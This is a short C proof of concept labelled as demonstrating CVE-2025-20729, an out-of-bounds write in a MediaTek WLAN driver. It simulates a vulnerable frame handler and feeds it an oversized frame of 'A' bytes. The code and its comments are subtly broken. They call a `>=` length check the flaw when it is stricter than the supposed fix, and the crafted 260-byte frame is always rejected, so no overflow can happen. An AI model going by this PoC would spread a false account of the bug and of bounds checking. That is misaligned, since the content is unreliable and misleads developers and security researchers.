CVE-2025-20729

// CVE-2025-20729 PoC - MediaTek WLAN AP Driver Out of Bounds Write // This is a conceptual PoC for demonstrating the bounds check bypass // Note: Actual exploitation requires local access with existing system privileges #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simulated vulnerable function with incorrect bounds check int process_wlan_frame(uint8_t* frame_data, uint32_t frame_length) { uint8_t buffer[256]; // Fixed size buffer // VULNERABLE: Incorrect bounds check // The check should be: if (frame_length > sizeof(buffer)) // But the vulnerable code has: if (frame_length >= sizeof(buffer)) // This allows exactly sizeof(buffer) bytes to be written, causing overflow if (frame_length >= sizeof(buffer)) { // This condition should prevent overflow, but allows exact size write // which can still cause issues in certain scenarios return -1; } // This memcpy can overflow if frame_length is not properly validated memcpy(buffer, frame_data, frame_length); return 0; } // Function to craft malicious frame uint8_t* craft_malicious_frame(uint32_t* out_length) { // Craft frame that triggers the vulnerability uint32_t length = 260; // Slightly larger than buffer uint8_t* frame = malloc(length); if (frame) { memset(frame, 0x41, length); // Fill with 'A' characters *out_length = length; } return frame; } int main() { printf("CVE-2025-20729 PoC - MediaTek WLAN AP Driver\n"); printf("===========================================\n\n"); uint32_t frame_length; uint8_t* malicious_frame = craft_malicious_frame(&frame_length); if (malicious_frame) { printf("Crafted malicious frame, length: %u\n", frame_length); printf("Attempting to process frame...\n"); int result = process_wlan_frame(malicious_frame, frame_length); if (result == 0) { printf("Frame processed - potential buffer overflow occurred\n"); } else { printf("Frame processing failed (expected with patch)\n"); } free(malicious_frame); } return 0; } // Note: This PoC is for educational purposes only. // Actual exploitation requires: // 1. Local access to the target system // 2. Existing high-level (System) privileges // 3. Access to MediaTek WLAN driver interface

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